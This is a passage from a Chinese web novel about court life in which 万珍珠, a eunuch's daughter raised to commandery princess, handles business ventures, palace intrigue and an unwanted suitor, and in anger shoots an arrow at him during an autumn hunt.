“……”万珍珠沉默。 关于宫廷内苑的事情,她从来是听了,尔后,附合了亲爹。 反正用不着万珍珠多嘴,亲爹有自己的立场。 洪福十六年,秋。 十月桂花香,林江郡主邀请万珍珠去吃酒。 对于镐京都里这一位好友相邀,万珍珠答应的愉快。 只在赴宴的前一天,万珍珠在镐京都的一座茶楼里,还是见了一回赵济世,赵大人。 这茶楼是万珍珠开设的。挣一点小钱钱。 这也是亲爹给万珍珠的投资。或者说让万珍珠结交人脉的。 不是所有的读书人都能够功成名就。有一些出身贫寒的,又在功名一途上不够出众的。 那么,万珍珠不介意招揽一些文人墨客。或者说万珍珠笼络的全是失意人。 万珍珠做的不多,就是招揽了起心思,就想混口饭吃的失意文人。 也不需要这些失意文人做什么大事,不过是写些话本子。 万珍珠有穿书前的记忆,还是开创了好些的话本流。 当然万珍珠写的大纲,请这些失意文人填充一二。 又或者说万珍珠也是偶尔练字时,她也写一写中意的话本,再请这些茶楼养活的写书先生润笔一二。 既然又创作,又润笔,万珍珠做为东家给了月奉钱,那就是理所应当的。 有间茶楼,这是万珍珠给茶楼起的名字。普普通通,不甚出奇。 可茶楼的生意不错。或者说,有林江郡主乐意替万珍珠宣传一二。 让万珍珠的有间茶楼的生意还成。特别是话本子编排的戏曲火了,那让生意是越来越好。 有间茶楼,分大堂的会客,也有二楼、三楼的雅间。 特别是三楼雅间,其入口不在大门处,而在后院的侧面。那里有专门直通三楼的花园门扉。 男女客人,各不打扰。 特别是三楼的雅间,能赏后院的花园美景,更可以听了茶楼的戏曲。 宫廷有乐坊。有利害的乐师舞姬。落万珍珠眼中,这是最好的教学师傅。 万珍珠不介意开了有新意的茶楼,让人讲一讲评书,唱一唱话本子的戏曲。 茶楼,二楼最内的一座雅间。 万珍珠是东家,她在此专门替自己留了一间屋子。 在此,万珍珠招待了赵济世,这一位帮她一回,又救她一回的恩人。 “请吃茶。”在雅间内,万珍珠举起茶盏,语气和缓的讲道。 “请赵大人来,也有一桩事情想跟赵大人商量。”万珍珠讲了来意。 “郡主客气。”赵济世瞧着浑江郡主,他道:“郡主有事,但请吩咐。” “如何能用吩咐二字。”万珍珠搁下茶盏,她摆摆手。 “赵大人,听闻您的家乡在北镇。”万珍珠说道:“我有一家商社,也有意往北边走商。” “如此,赵大人可乐意入股?”万珍珠问道。 “当然,赵大人若不乐意入股,那么,商社走北边时,想请赵大人帮衬一回。商社准备在北镇建了分商社。”万珍珠笑道。 “北镇是边地,与胡人交集。郡主想跟胡人互通贸易?”赵济世问道。 “对。”万珍珠笑道:“有此意。” 不止如此,万珍珠是觉得不在一个篮子里搁鸡蛋。 在大晋朝,万珍珠要置下家业。在大赵朝,万珍珠一样要置下家业。 真是哪一处出篓子,也不会竹篮打水一场空。 至于想拉了赵济世入伙,纯粹是前世之时,听着这一位赵大人的前程无量。万珍珠想投资一回。 能挣多少?万珍珠不在意。她就是不想亏本罢了。 知道能挣,一定保本的买卖,万珍珠更不介意彼此双赢。 我赢一回,你赢一回,大家都赢了。 双赢嘛,合作才会长久。特别是股东,更对自己的财产上心。 若只是贿赂的话,那就差强人意。 万珍珠对于赵济世的印象分很不错。她觉得对方人品好。那么,成为商业伙伴就挺好。 救命恩人的人情债,她想还了,对方拒了。 如此,那就做了同伙人。利益为上,彼此知底细,也是可以放心一些。 “凭郡主的身份,让我入股,真抬举了。”赵济世笑道。 “如何,赵大人拒绝?”万珍珠反问道。 万珍珠问话时,她以为,这一位赵济世赵统领真拒绝。 毕竟前面万珍珠每一回寻了理由赠礼时,对方就是收小礼,拒大礼。 “不,这一回,我高兴的收下郡主娘娘的好意。添一份传家的家业,岂不美哉。”赵济世不拒绝了。 或者说一注财,又或是活财源,二者不同。在赵济世的心头份量不一样。 特别是这一回浑江郡主准备让商社在北镇建分商社。 赵济世是心系家乡的结义兄弟们与父老乡亲。 这分商社做大了,于己不止有好处。于亲人有好处。 能给大家伙带来利益的,才是赵济世更在意的。 关于万珍珠的商社做哪些买卖,赵济世可关注着。不是什么探子行为,纯粹是赵济世关心了浑江郡主。 人在镐京都,赵济世关注着浑江郡主,只是担忧郡主的安危罢了。 “……”万珍珠捂嘴笑一回。 笑罢后,万珍珠讲道:“既如此,往后赵大人也是商社的东家之一。” “北镇的分商社,还请赵大人多多照顾。”万珍珠笑道。 “自家产业,岂有不照顾的道理。自然是重重的照顾一番。”赵济世回道。 谈起北镇分商社的建立等等事宜,当然不是嘴皮子一碰,事情就成。 便是赵济世这一边,他也要写书信回北镇,由着他的结义兄弟奔走一二。 当然,凭着万珍珠如今有亲爹帮衬,她想办事,有的是人手。不缺着掌柜伙计等等。 在赵济世这儿,万珍珠是乐得手头宽松些。 可万珍珠乐意,赵济世还是不想占了便宜。 应该入股的钱财,赵济世应该出多少,那就是多少。 至于北镇需要打通的人脉,特别是跟胡人那一边的人脉关系。赵济世这一方自然也有。 那些年生于北镇,赵济世有人脉,或者说他笼络的那些结义兄弟们也有人脉。 在北镇,那可是一张网。网一旦张开,那就不止北镇,于旁的地方也有结点。 所谓结点,便是人脉,便是利益。 当 日,万珍珠做了规划书。她回府后,瞧着回府了的亲爹。 万珍珠惊讶,问道:“爹爹,您前个不是让人传话,近几日不回府吗?” “临时的。”万忠良笑道。 “咱得了空闲,就想回来陪你和你娘吃顿饭。再在府上歇一晚。”万忠良在女儿跟前,有话坦坦荡荡的讲。 “爹爹能回来,真的太好了。”万珍珠笑得开心。那甚的规划书,也懒得再理会。 “怎么,瞧你又在忙碌什么?”万忠良瞧着在书房里写写画画的女儿,他问道。 “在做北镇分商社的规划。”万珍珠在亲爹跟前实话实说。 “大晋边疆,直面胡人。你想开分商社,大晋边疆几千里地,你想在哪不成?非去东边的大赵,那儿,你爹可插不上手。万一吃亏,没有给你撑腰的道理。”万忠良打趣一回。 “做生意有挣有赔。”万珍珠看得开。 “爹爹放心,是挣是赔,女儿全认下来。”万珍珠指一指自个,又道:“只女儿想在北镇埋了暗桩,也不过是寻了一条退路。” “……”万忠良沉默片刻。 “你啊,也不怕这话说了,惹了麻烦。”万忠良摆摆手,道:“搁外,你这嘴可得紧些。万不能囫囵话。” “爹爹,女儿知道的。”万珍珠点点头。 关于出了大晋的疆域,再添人脉,再送利益,再建商社等等。 万珍珠以前就提过。说白了,也不过是留有余地罢了。 谁让太监的风光是全在帝王的一念之间。 天子家奴,既是世人的肯定,也是世人的白眼。 天家的威风,沾上了威风。一旦被拔了唬人的皮,那时候就难了。 万珍珠只是想着退路,人之常情。万忠良就这么一个闺女,他没有法子拒绝了女儿的多思多虑。 又或者说一点子钱财建了分商社,哄女儿开心,万忠良舍得。 “有一事,咱得跟你讲一讲。”万忠良瞧着闺女,说道:“你跟那赵济世走得太近。” “避讳些。”万忠良劝一回。 “爹爹担忧蓝颜祸水,女儿被水灌了脑子不成?”万珍珠偷偷乐一场。 “你敢坦诚,你真没对那赵济世心生好感?”万忠良察颜观色,可有一套。 就是瞧出来女儿一些小心思,万忠良才点拔一下。 如今女儿心思浅,点一点,往后不来往即可。 真是等女儿迷糊了,心思深了,那时候才会麻烦。 “……”万珍珠仔细想一想后,她回道:“爹爹,赵济世大人一表人才,确实是当世好男儿。” “论人品,论本事,女儿心里,赵大人皆上上之资。”万珍珠笑道:“可能就是家世背景上,赵大人要吃一点亏欠。” “可男儿当道,本事第一。有本事的人,就跟金子一样,不怕火炼。”万珍珠坦坦荡荡的态度。 她琢磨一下后,又道:“女儿听过一句话,无人扶我青云志,我自扶摇上山巅。” “想来赵大人一旦遇上风云,青云直上,当会有机会做了大人物吧。”万珍珠想着前世时,听来的赵济世的光明前程。 还是觉得赵济世有好命,有好运。这夸了时,那是真心实意。 “闺女,你这话半真半假,也对,也不对。”万忠良点拔了话,说道:“咱这一辈子瞧得多。只要坐了高位,不全凭着长辈硬拉扯上位的。那都有本事。” “可有本事,不一定成了大人物。成了大人物,才可能有真本事。”万忠良笑道:“千里马常有,而伯乐不常有。” “青云直上,那还得有了青云路才成。”万忠良的眼中,赵济世可能有前程。 想有大前程,那得看机缘。可如今瞧着,赵济世来了大晋窝着,好像没回大赵的意思。 没被召回,远在异国他乡,他还是大赵朝大皇子的心腹。 这心腹,落万忠良的眼中,他,够真吗? 万忠良就怀疑了。 别说万忠良怀疑。在镐京都一坐冷板凳,那是瞧着没完没了。 赵济世自己也怀疑,他还是大皇子的心腹吗? 得了结义兄弟的书信,对于燕京都里发生的事情。赵济世了解一些。 可结义兄弟的位置,那没有赵济世爬得高。 结义兄弟的位置太低了,有些消息,不在圈子,真不会知道。 赵济世远在镐京都,有些事情他瞧着,诚可谓是雾里看花,迷迷蒙蒙。 镐京都,淑阳公主府。 “倒是皇兄的好狗。”淑阳公主搁下一封家书,笑骂一回。 侍候淑阳公主的陪嫁等人不语,此时,还跟木头桩子似的侍立着。 “嬷嬷,赏一回赵统领。”淑阳公主讲道:“本宫总得笼络一二。也免得赵统领总爱上书给皇兄,一心一心的奔着回了燕京都去。” 淑阳公主接到皇兄李明弘的家书。在家书里,李明弘浅浅的提一回赵济世。 只淑阳公主不想放人,或者说被刺杀一回。 还没踏足大晋天子的后宫前,淑阳公主的安全感不太够。 关于上一回被刺杀。大晋大赵皆有宣告。 大吴被扣了帽子,大晋、大赵二朝已经差天使去大吴朝交涉。 结果如何?当然是大吴朝赔礼。 想不陪礼,也是不敢。谁让大晋、大赵此回一条心,摆明了要给大吴朝一点苦头吃。 只让淑阳公主想不到的事情,大吴朝瞧着大赵送公主。 大吴朝也送公主来和亲。 想着将来入宫后,还有一位大吴公主一道做大晋天子的嫔妃。 淑阳公主膈应的很。可她又能如何? 她一脚踩在镐京都,全然没退路。除了一道走到黑,也看不见什么前程光景。 “唯。” 应下话,陪嫁嬷嬷按规矩备了礼物,呈了礼单子。 在淑阳公主这里过了名目,便是赐到赵统领暂住的府上去。 镐京都,皇宫,昭阳宫。 魏皇后听着陪嫁嬷嬷讲了宫外娘家递来的消息。 “这般说来,朱氏一族犯了大事。塌天大祸。”魏皇后捂嘴笑出声。 “皇后娘娘说的太对,边疆重臣,一旦跟外人勾结,又是贩卖军械,又是克扣军晌,这里面的猫腻太大了。一旦查下去,肯定是窝案,一牵连一大片。”魏嬷嬷也见过世面。 太知道这等事情摊开了,那要死了不少人的。还不是死一般人,得死大官,大大的官。 “哼,本宫瞧着,朱氏一族就是人心不足蛇吞象。”魏皇后的眼中,朱充仪太惹眼。 让魏皇后羡慕嫉妒。特别是知道朱充仪怀的皇子后。魏皇后气坏了。 “原来本宫还担忧,那朱充仪生下皇子,母凭子贵,前途不可限量。如今嘛,一旦成了罪臣女,哼。”魏皇后的心里百转千回。 魏皇后真的挺想看一看朱氏一族打入罪臣之籍。倒时候朱充仪又哪来多少的体面。 “皇后娘娘……”魏嬷嬷又有话讲。 魏皇后瞧着魏嬷嬷小心的模样。她摆摆手,让侍候的其它宫人退下。 “嬷嬷,瞧你谨慎的,可有什么要紧事说?”魏皇后在其它宫人见礼退下后,她问道。 “皇后娘娘,长公主殿下让奴婢敲一敲边鼓,还盼着您多想一想。可愿意抱养了朱充仪腹中的皇子?”魏嬷嬷讲道。 这不是头一回提,在知道朱充仪的腹中是皇子后。 庆德长公主亲自劝过女儿。当时的魏皇后被母亲说动,只道考虑一二。 魏皇后心有不甘,那时候嘛,到底没当场应了母亲的提议。 第47章 “嬷嬷,这事情本宫要考虑一二。”魏皇后还是下不了决心。 “皇后娘娘,长公主殿下又说,若是皇后娘娘觉得怕养了白眼狼。不妨去母留子。”魏嬷嬷小心的提议道。 “母亲考虑周全。”魏皇后哪怕暂时没考虑抚养朱充仪腹中的皇嗣。 可一旦真的抱养孩子,魏皇后当然不会让人摘桃子。 “只本宫目 前心思,还不曾下了决断。再说,那朱充仪的肚子里究竟是不是皇子,真难说。“魏皇后讲道。 “皇后娘娘是怀疑有人假传谣言?”魏嬷嬷觉得这应该不会吧。 “哼,宫廷内苑的事情,几分真,几分假,难说的很。”魏皇后觉得消息不保真。 镐京都,内城,林江郡主府。万珍珠来做客时,也是带了酒来。 “我请妹妹来吃桂花酿,妹妹也带了荷花酿。好,好。”林江郡主瞧着万珍珠带的酒,笑道:“正好,一样吃一盏,让舌根子尝一尝新鲜。” “我知姐姐这的桂花酿好,这不,我是客随主便。全依着姐姐安排。”万珍珠对于做客,特别是到林江郡主府上做客。 这太熟悉了,她也大大方方的态度。 只二人吃一场酒,谈论一点风花雪月,说一说镐京都的趣事。 林江郡主就提了一事,说道:“要论起一桩宗亲之事,还得提一提我的堂弟。” “堂弟刘展,父汝阳王。”林江郡主讲一回堂弟的家世背景。 讲罢,又道:“可我这一堂弟啊,偏生对婚事不上心。我婶婶都是着急了,那是相看多少的名门淑媛。堂弟偏生不着急,一个也瞧不中。让我讲,指定是有了心上人。” “……”万珍珠听一回乐子,就听听,不掺合了别人的家事。 “姐姐吃酒。”万珍珠只管给林江郡主倒一倒酒。 “嗯,妹妹也吃酒。”林江郡主饮了小口的果酒。 “对了,妹妹,我想举行一场秋猎。妹妹参加一回,可否?”林江郡主问道。 “姐姐做了东道主,我当然得参加。哪能缺席了。”万珍珠笑道。 这一日,在林江郡主这儿,万珍珠应下一回秋猎聚会。 来镐京都这般久,万珍珠骑马打猎,要说多有本事,那也差一些火候。 要说多差,那不至于。为着自己考量,多学几门本事。 在骑马打猎一事上,万珍珠也用了一份心。倒底这是一种学一学,上心了,挺能寻得乐趣的事情。 镐京都,郊外的林子。 林江郡主举行秋猎,参加的人颇多。不止皇家宗亲里出了人头数。便是镐京都的高门里,也是来了不少人。 这般热闹,万珍珠有林江郡主的介绍,她又是认识一些刚进镐京都的世家名媛。 这些人嘛,原是家中长辈或夫君去了地方任职,如今调回了镐京都,当然又要混一混镐京都的女眷圈子。 有些人万珍珠瞧一个面熟,要论多熟,真心不熟。 可认了脸,总归识得人,再也不会出错了。 就是这一场聚会,在秋猎最热闹时,大家伙兴致正好时。 聚会结束了。又或者说是聚会里,大家伙都玩的高高兴兴。待结束后,也是颇有兴致谈论一二。 在要回了镐京都前,林江郡主邀请万珍珠去道观上香。 万珍珠当然不拒绝。二人同行,有丫鬟护卫跟随。 在上香的道观里,林江郡主巧遇了堂弟刘展。 “见过堂姐。”刘展遇上堂姐,上前见礼一回。 “浑江妹妹,这便是我家堂弟,汝阳王府世子刘展。”林江郡主向万珍珠介绍一回堂弟。 “堂弟,这一位便是陛下亲封的浑江郡主。”林江郡主给二人介绍一回。 “世子万安。”万珍珠福一礼。 “见过郡主。”刘展回一礼。 “哈哈哈……”林江郡主捂嘴笑一回。讲道:“你二人太拘谨了。” “浑江妹妹是性情中人,年岁与堂弟相当,只比堂弟小一月。不若,浑江妹妹唤我家堂弟一声三哥。我这堂弟排序三,小字三郎。” 林江郡主笑道:“至于妹妹,堂弟,你做哥哥的,也可唤一声万家妹妹。” “浑江妹妹的家父姓万,乃宫廷的万内相。”林江郡主又介绍一下万珍珠的身份。 “万家妹妹,如此,唐突了。”刘展扬起一抹笑容,语带笑意的讲道。 “……”万珍珠瞧一眼林江郡主。 “万家妹妹,可是这称呼唐突了妹妹?”林江郡主走上前挽起万珍珠的胳膊,亲亲热热的问道。 瞧人家宗室子,汝阳王府的继承人都热忱态度。 万珍珠又瞧着做介绍人的林江郡主,她笑道:“刘三哥,不唐突,是我一时被惊住。” “来镐京都,这是第一回有宗室不嫌弃我的身份尴尬。”万珍珠袒露心声。 “万家妹妹人品风姿,禀性容貌,样样拔尖。万内相又是陛下心腹,蒙得圣恩。”刘展笑道:“在我眼中,万家妹妹却是不骄不纵,难得好性儿。” “谁若小瞧妹妹,倒是高看自己,目下无尘。”刘展的话里,就差夸了又夸万珍珠。 在道观遇一回汝阳王府世子刘展。 这一回,不是头一回的相遇。其后,短短十日内。 万珍珠巧遇世子刘展三回。三回,全跟林江郡主相邀请时,那恰好就会遇上刘展。 让万珍珠相信是巧合?她不相信。 于是在一次林江郡主来浑江郡主府做客时。万珍珠围炉煮茶。 在茶香袅袅,二人吃茶,吃得愉快时。 万珍珠挥退侍候的丫鬟婆子。她与林江郡主谈一回话。 “姐姐是想做了姻缘仙子,想替我牵了红线不成?”万珍珠笑问一回。 “我还当妹妹要装傻,继续跟堂弟展哥儿唱了相遇缘,缘缘缘深。”林江郡主笑一回。捂嘴笑,笑得可利害。 万珍珠搁下茶盏。她仔细琢磨一二,又是支了手肘在下巴。 似乎在思索,似乎在出神。过片刻后,万珍珠端正坐姿。 “姐姐真觉得我与汝阳王府世子是良配吗?是不是高攀了。”万珍珠万万想不到,她还有被宗亲世子追求的一天。 她爹天子家奴,有些话,哪怕没当面对着万珍珠蛐蛐。 可万珍珠消息灵通,她养着耳目。总听过了一些糟心话的。 “妹妹人好,凭着家私美貌,又有万内相撑腰。妹妹值得天下好男儿的求娶。”林江郡主认真回道。 “我与妹妹讲实话。我撮合这一桩姻缘,那是一心一意盼妹妹将来千好万好。”林江郡主笑道:“宗亲王妃,一旦得了册封,那就是板上钉钉。” “妹妹若与夫君恩恩爱爱,早些生下世孙,将来的福份还在后头呢。”林江郡主有一点暗示。 什么暗示,万珍珠懂。 一旦新君上位又如何?嫁在宗室,总归不会被牵连太深的。 主要是汝阳王府的世子是真心欢喜万珍珠。至少在林江郡主眼中是如此。 “我没姐姐说的好。汝阳王世子欢喜我,我太惊讶了。”好事来的太突然,万珍珠遭不住。 莫怪她多心,实在是喜事临门太突然,免不得多疑心几遭。 “我就一份善意。妹妹莫急,你若不信,往后考验考验堂弟便是。堂弟想抱了美人归,当然要吃一点苦头。”林江郡主站了万珍珠这一边做说客。 宴请一回林江郡主。万珍珠知道自己遇姻缘一桩。 这不,又一日,万珍珠又去茶楼盘帐时。 她又遇上了汝阳王府世子刘展。 “世子万安。” “万家妹妹太客气了,倒与我生疏的很。”刘展的脸上是似笑非笑的神情。 在二楼的雅间处,二人相遇上。 这时候万珍珠听着远远的,似有人登楼的声音。 “那,刘三哥万安。”万珍珠改口唤一回话道。 “听着万家妹妹唤我一声三哥,如此,倒是顺耳极了。”刘展笑道。这一回的笑容自在,灿烂万分。 “万家妹妹,你是茶楼的东道主,可否请一盏茶?”刘展笑问道。 “……”万珍珠沉默片刻后,做了一个请的手势。 在二人入雅间后。 有客人登楼,这一回被店小二请上来的客人是赵济世。 赵济世要了雅间,要了茶果点心,尔后,打发走店小二。 来一回有间茶楼,为何?不过是赵济世知道,今个浑江郡主会来茶楼盘帐。 赵济世就想远远的瞧一回,只这一瞧,赵济世瞧见了万珍珠与刘展的相遇。 汝阳王府世子刘展,赵济世不是头一回听到这一个名字。 或者说这些日子,只要跟浑江郡主相干系,这一人跟狗皮膏药一样粘上去。 倒了茶入茶盏,赵济世闻着茶香,他在走神。 茶很香,入了鼻间嗅着香味儿,赵济世无甚饮的 心情。 “……唉。”赵济世一声叹息。 明明告诫自己,他与浑江郡主不堪良缘。一人的归处在东,一人的归处在西。 可是心绪难平,人嘛,总不能真骗了自己的心。 赵济世发现,世间女子再美,与他何干。 入他眼者,唯万氏女。 茶汤烫,赵济世却是握着茶盏,又似下定决心一般。他一口饮尽茶盏里的茶汤。 男子汉,大丈夫。但求问心无愧,百死无悔。 赵济世决定坦坦荡荡,他不骗自己了。真骗自己,这般一直下去的话,没甚意思。 第48章 大晋朝,镐京都,内城,浑江郡主府。 牛二囡心情不错,当家的回府里歇息一日,一家人一起吃饭闲谈,又可消磨一日清静时光。 午饭后,一家子吃茶。 万珍珠自己煮茶,煮着加了菊花、红枣、枸杞等等的花茶。 茶果点心,要说多好?不过寻常物。吃的一点新鲜趣味。 万忠良打发走侍候的丫鬟仆妇,一家三口静静吃茶。 此时,花厅内,茶香袅袅。 万珍珠给亲爹、亲娘斟好茶,一一递到父母跟前。 “爹爹,娘,您二位尝尝,这加了糖的茶,可会太糖?”万珍珠问道。 “甜些好,甜的吃了心里舒坦。”牛二囡对于甜味拒绝不得。 万忠良则是端起茶盏,他瞧了茶汤。浮于汤面的菊花盛开,缀着红枣、枸杞等等,瞧着挺漂亮。 特别是今个配的茶盏,不是瓷器,而是琉璃茶盏。 隐约透明的茶盏,又是秋日好时节。这一盏茶瞧着如梦似幻,份外惹眼,赏心悦目。 端着茶盏欣赏片刻后,万忠良品过一小口的茶汤。 “不错,这味道又香又甜,嗅着还有菊花清香。倒是合了女眷们的口味。”万忠良给出自己的看法。 “合着女眷的口味吗?”万珍珠嘀咕一回。 “爹爹是不是喜欢清茶,而不喜这等花茶?”万珍珠问道:“要不,女儿专门给爹爹煮了清香茶汤。” “不必,都是茶汤,吃一个新鲜也不错。”万忠良笑道:“一家人吃茶,吃一样的好。” 此时万珍珠也端起茶盏,她也吃一吃茶。 牛二囡听过当家的,亲闺女二人的谈话。她品着菊花茶,她倒觉着不错。比那甚的清香茶汤要好。 “闺女,咱听着一些传闻,你有事,可乐意跟爹娘讲一讲?”万忠良的目光落亲闺女身上,他笑着问道。 万珍珠瞧着端着茶盏,一派悠闲望着她的亲爹。 “爹爹,您指着啥事,我是瞒了您?”万珍珠笑问道。 “我最近可忙碌了,真的事多。”万珍珠忙碌着打理自己手头的财产。 为着升值,为着未来,万珍珠忙忙碌碌。她一时之间真的没闹懂亲爹想问哪一桩事情? 亲爹与亲闺女之间,哪有什么隔阂,于是万珍珠直接问了。 瞧着父女二人的谈话,牛二囡的目光落在父女二人身上。 牛二囡好奇了,府上又出啥事不?咋这一对父女还打了哑谜来。 “你的终身大事。”万忠良点拔一句。 “哦。”万珍珠反映过来。 “要说关乎终身大事,真就有一桩。”万珍珠点点头,她讲道:“林江郡主起了热心肠,她把堂弟汝阳王府世子介绍于女儿。” “世子刘展的态度暧昧,他似乎想求娶女儿。只是女儿迟疑,尚不敢应下。”万珍珠实话实说。 “汝阳王府的世子……”牛二囡惊呼一声。 “堂堂皇家宗亲,还是亲王府的世子。这身份多尊贵。哪还需要迟疑踌躇。夫君,要不,让孩子应下这一桩姻缘吧。”牛二囡都着急了,她真想替亲闺女做主。 遇上这等东床快婿,哪还能耽搁。能应下,马上就该应承答应。 若不然,好女婿人选被人抢走,那才要后悔了。 万忠良听着妻子的话,他摆摆手,讲道:“闺女要跟女婿过一辈子。你莫掺合,由着闺女讲一讲,她为难在何处?” 牛二囡有千言万语,她想催促了女儿应下好姻缘。 可如今丈夫开口,牛二囡又不敢再多嘴。 在浑江郡府里,瞧着名头是万珍珠这一位浑江郡主当家。 实则能做主的,那是万忠良。 牛二囡嘛,她一直是听丈夫的。毕竟一家子的荣耀,全系于丈夫万忠良的身上。 “爹爹,娘。”万珍珠唤了话,又讲道:“我担忧在于世子的美意来得太突然。又太莫名其妙。” “镐京都的名门淑媛何其多,如何好事尽落我身上。我这人可不信天降大运,鸿福当头。我就想问一问根底。”万珍珠心里虚着。 “再说,世子只是世子,还不是王府的做主之人。世子之上,还有亲王与王妃做主呢。”万珍珠觉得世子刘展的美意太突然。 哪怕万珍珠相信林江郡主一二分。可对于终身大事,万珍珠得慎重。 “你慎重一些,也对。”万忠良赞赏一回女儿。 “要说这里面有什么问题,咱知道一些。”万忠良瞧一眼妻女,他准备详细的讲一讲。 “爹爹知道,女儿要仔细的聆听一番。”万珍珠做出严肃的神情来。 “哈哈哈……”万忠良摆摆手,笑道:“你啊,不必如此做派。” “咱这当爹的,还能不关注了未来的女婿人品吗?”万忠良肯定在意的。 如今就是拿捏清楚了,也瞧清楚了亲闺女的态度。这不,他准备在一家人跟前是详细的谈一谈。 “要说汝阳王府世子,倒是一位风流郎君。”万忠良给出自己的评价。 万珍珠一听“风流”二字,她的眉头皱一皱。 这真是好词?万珍珠挺怀疑。 “汝阳王府世子家世背景,自是拔尖。瞧着人品样貌,也颇为出众。只一桩旧事,让咱查出来。”万忠良指一指汝阳王府的方向。 “那汝阳王府世子有一位青梅竹马的表妹。二人有私情。”万忠良平坦直述。 万珍珠一听,脑袋嗡嗡响。 “……”万珍珠给干沉默了。 良久后,万珍珠问道:“爹爹,既然是表兄表妹,亲上加亲,有汝阳王妃做主的话,应该不难吧。” 亲上加亲,可是这一个世道的常理。世人认同。 “原是不难,如今嘛,难上加难。”万忠良语气淡淡。 显然对于汝阳王府世子刘展的印象,可谓是恶之至极。 “夫君,你给得仔细说说。那甚的表妹,可是狐媚子?”牛二囡很在意汝阳王府世子的表妹。 对于这一位可能的女婿世子刘展,牛二囡还是觉得万一呢,万一能挽留一下。 牛二囡还是愿意挽留一二的。 “那一位顾表妹系出名门,端庄娴雅,原也佳人。”万忠良难得夸了汝阳王府的顾家表姑娘。 一听当家的夸人,牛二囡的神色变了。她的心情坏坏得。 对于汝阳王府世子刘展的这一桩姻缘,牛二囡觉得不能抱有希望啊。 “可惜,这一位顾家姑娘的命不好。”万忠良讲道:“因着朝堂风波,顾家出事,顾家姑娘已经被罚入罪籍。她如今无事,还是得了汝阳王妃的庇护。” “嘶……”牛二囡倒抽一口凉气。 万珍珠也给干的更沉默了。万万想不到,这一位顾表妹有一点惨。 这娘家出事的档口不好,毕竟要是晚一些日子,指不定她都能嫁进汝阳王府做世子妃了。 “爹爹的意思,这一位顾家的表姑娘因着没入罪籍,不可再为汝阳王府世子妃。于是汝阳王府世子想娶一位既能得实惠,又不敢真的压狠了顾表妹的嫡妻,对吗?”万珍珠问道。 会如此问? 不外乎这一个世道嘛,嫡妻得占一个贤惠名声。 又或者说,太监的女儿嘛,嫁人时,只要亲爹有权柄,那肯定风风光光。 风风光光大嫁,那嫁妆也得十里红妆,威风赫赫。 这女子嫁妆一旦送到夫家,待 将来,那要留给儿女。 万一没儿女,若是大门大户,娘家也能索回。 可太监的女儿?谁来索回。 反正依着万珍珠的深思,待将来,一旦亲爹不在了。 她的嫁妆,只可能留在夫家。甭管有没有儿女,都没可能被娘家人索要回去的。 因为她的娘家太单薄了。一旦爹娘没了,万珍珠又哪还有什么娘家。 “当是如此。”万忠良觉得亲闺女没猜错。 “如今咱还风光,谁娶闺女你,谁都会待你好。甭管装的,还是假的,忍了一些年就是。”万忠良禀持着真相说话。 “等将来咱不再了,又或没威风抖落了。闺女,你说,你能靠谁?”万忠良问亲闺女。 “那时候有心上人的汝阳王府世子,他自是想干什么都成的。”万珍珠冷冷一笑。 知道有心上人,还来招惹她。万珍珠恨之,深恨。毕竟这种人心有白月光,他心里的成见摆那儿。 想扭正,难的很。 有俗语云,世间难事,不外乎把别人的钱装进自己的口袋。又或者把自己的想法装进他人脑子里。 “汝阳王府世子刘展,真不当人子。”万珍珠骂一回。 想一想这一位世子刘展在自己跟前的卖弄。也便是对方如今不在跟前。 要不然,万珍珠一定教训一回,让对方知道花儿为何那样红。 秋日,浑江郡主府主办一场秋猎。 在镐京都郊外的庄子上,万珍珠换了大红色的骑装。 “妹妹,瞧你,今个真不同。比往昔瞧着更美。”林江郡主夸赞一回万珍珠。 “姐姐也甚美。”万珍珠同样回夸一句。 “哈哈哈……”林江郡主笑一回,笑罢,她道:“好时光,可不能辜负。今个秋猎,我与妹妹比一比,如何?” “好,一言为定。”万珍珠应下约定。 秋猎是一件让人参与度很多的活动。至少万珍珠多参加几回后,她真的爱上了秋猎。 张弓搭箭,骑马奔驰,那等追风的速度,那等狩猎的快乐。 让万珍珠觉得自己似乎也化成了风。还是自由的风,肆意而张扬,却又张扬自在。 在万珍珠一箭命中一头鹿时。万珍珠很开心。 虽然鹿鹿很可爱,可是射中鹿鹿,吃了鹿肉也不错。 “万家妹妹好射术。”一声夸赞,响于万珍珠的耳边。 声音有一点远,又似乎在变近。万珍珠望向声音的来处。 刘展骑着马,他向万珍珠而来。 万珍珠搭箭,她的弓在移动,她瞄准了刘展的心口。 “刘三哥,怕吗?”万珍珠问一句。 “……”刘展此时心头有一万句话想讲。可瞧着万珍珠冷漠的神情。 “万家妹妹,可是我哪一处惹着你生气了。”刘展继续策马而来。 瞧着刘展的镇静,万珍珠都得佩服对方一回。 万珍珠冷哼一声,尔后,听见刘展讲话道:“我相信万家妹妹,又岂会真的伤我……” 刘展有自信啊,他是皇家宗亲,他不怕堂堂正正,大日白光之下被人刺杀。更何况要刺杀的还是浑江郡主万珍珠。 万氏女,天子家奴的闺女。出身不显,得一封号郡主,也不过是抬一抬身家。 万家,又不是哪一个名册上的大人物。不过是狐假虚威,借一借天子的威风罢了。 刘展不信万珍珠真敢当着众人面,她敢杀人。 这不,刘展是继续策马,他离着万珍珠越来越近。他相信对方不敢。 刘展的话落入万珍珠的耳中。此时此刻,万珍珠的眼前血红一片。 万珍珠想到前世,前世的她不敢炸刺。她没了亲娘,她没了独女。 至于那甚的,前世的短命鬼丈夫张忠,万珍珠都忘记对方的样子。 张忠,朱家的忠心奴才嘛。张忠可能更在意朱家的主子想法。女儿,又不是儿子。 张忠岂会多在意了? 反正落万珍珠的记忆里,张忠此人,哪怕是枕边人,也恶之。因为他的心肝里没有妻女的位置。 想到前世的种种,万珍珠又想到杨夫人的恶行,还有杨夫人如今呢,她居然痊愈。 还有朱凤曦,那一位拿捏着她的独女。让她的独女死的憋屈。 更不肖说了,张忠在朱家可是忠仆。忠仆女儿,还是奴才。 一个奴才嘛,不过财产,死了就死了。 那些种种,那些会让人疯狂的过往。在万珍珠的心底一直压着。 万珍珠以为全是过去。可瞧着刘展的态度,刘展拿万珍珠也做了棋子。 刘展跟前世的杨婉芯、朱凤曦母女又哪有两样。真是可恶之人。 “你说不敢……”万珍珠冷笑,她被压抑住的疯狂在这一刻侵蚀了理智。 “我岂有不敢的道理。”万珍珠松开弓弦,箭矢飞射而去。 “卡”一声响。 万珍珠射出的箭,向着刘展心口的那一箭被侧方的一支箭给撞了一下。 万珍珠射出的箭矢被偏移了,箭,擦着刘展的手臂错过。 虽是错过,还是带上了一丝的血迹。刘展受伤了,胳膊上留了一条血痕。 